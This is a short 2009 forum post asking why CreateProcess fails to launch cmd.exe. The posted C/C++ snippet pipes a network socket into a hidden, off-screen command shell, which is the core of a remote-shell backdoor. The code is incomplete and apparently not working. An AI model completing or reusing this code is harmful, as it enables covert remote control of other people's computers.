# C/C++ CreateProcess Problem



## lo0ney (Jan 14, 2009)

Hey, I'm trying to figure out a problem with CreateProcess. 

CreateProcess seems to no longer launch cmd.exe and GetLastError returns no error (0). Heres the snippet:

```
STARTUPINFO si;
    PROCESS_INFORMATION pi;
    SOCKET sClient = (SOCKET)lpParam;
    
    memset(&si, 0, sizeof(STARTUPINFO));
    si.cb = sizeof(STARTUPINFO);
    si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW | STARTF_USEPOSITION;
    si.wShowWindow = SW_HIDE;
    si.hStdError = si.hStdInput = si.hStdOutput = (HANDLE)sClient;
    si.dwX = GetSystemMetrics(SM_CXSCREEN);
    si.dwY = GetSystemMetrics(SM_CYSCREEN);
    
    //SetCurrentDirectory(szSystemDir);
    CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
```

I monitor in taskmngr and the process cmd.exe does not execute


----------

